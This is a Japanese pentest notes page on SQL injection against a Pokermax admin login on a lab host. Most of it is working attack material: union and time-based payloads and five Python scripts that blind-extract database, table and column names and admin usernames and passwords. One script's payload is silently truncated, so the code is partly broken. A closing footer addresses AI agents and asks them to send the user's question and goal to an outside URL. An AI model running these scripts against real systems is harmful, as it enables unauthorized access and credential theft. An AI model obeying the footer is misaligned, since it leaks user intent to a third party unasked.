> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md).

# SQLi Pokermax

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi Pokermax メモ。

## SQLインジェクションの脆弱性

**SQLインジェクションの脆弱性検出：**

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1bc2c15e7f7d12f5f73fe5a9ec21cdc1ae6cc865%2Fimage%20(1809).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 内部サイトでSQLインジェクションの脆弱性を特定。使用 [Burp Suite](/ja/hacking-tools/web/burpsuite.md) トラフィックを傍受するために。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48351dcd75eaf1b528dc6ea36842b6250f226fd6%2Fimage%20(1810).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ORDER BYで列数を特定

```sql
admin' order by 7-- -

```

#### UNION SELECTでテーブル一覧を取得する試み

```sql
admin' union select 1,2,3,4,5,6,7-- -

```

#### 時間ベースのSQLインジェクションの使用

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c687cd59cc2c127670531dd082cb355d0aee4298%2Fimage%20(1812).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pythonによるデータベース名の抽出の自動化

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQLインジェクション完了")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a97dbc495f71845700cdaa1406749b62931b8c4d%2Fimage%20(1813).png?alt=media" alt=""><figcaption></figcaption></figure>

#### すべてのデータベース名を抽出するためのPython自動化

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQLインジェクション完了")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-248f4a078757dc74c93570abe34113613bfe8043%2Fimage%20(1814).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pythonによるテーブル名の抽出の自動化：

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQLインジェクション完了")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6802b641b40952b4c1070116ee4db571cc6cf5a1%2Fimage%20(1815).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pythonによる列名の抽出の自動化：

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -

```

```sql
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQLインジェクション完了")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4aa697f83d3e152b7c7c3d1078995222d9b3d68e%2Fimage%20(1816).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pythonによるユーザー名とパスワード列の抽出の自動化：

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -

```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *
def def_handler(sig, frame):
    print("/n/n[!] 終了中.../n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
def sqli():
    data = ""
    p1 = log.progress("SQLインジェクション:")
    p1.status("総当たり攻撃を開始しています")
    time.sleep(2)
    p2 = log.progress("データ抽出:")
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break
    p1.success("SQLインジェクション完了")
    p2.success(data)
if __name__ == '__main__':
    sqli()

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c7bf2ac9effa9fad975be52df19051942bebbd07%2Fimage%20(1817).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-pokermax-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
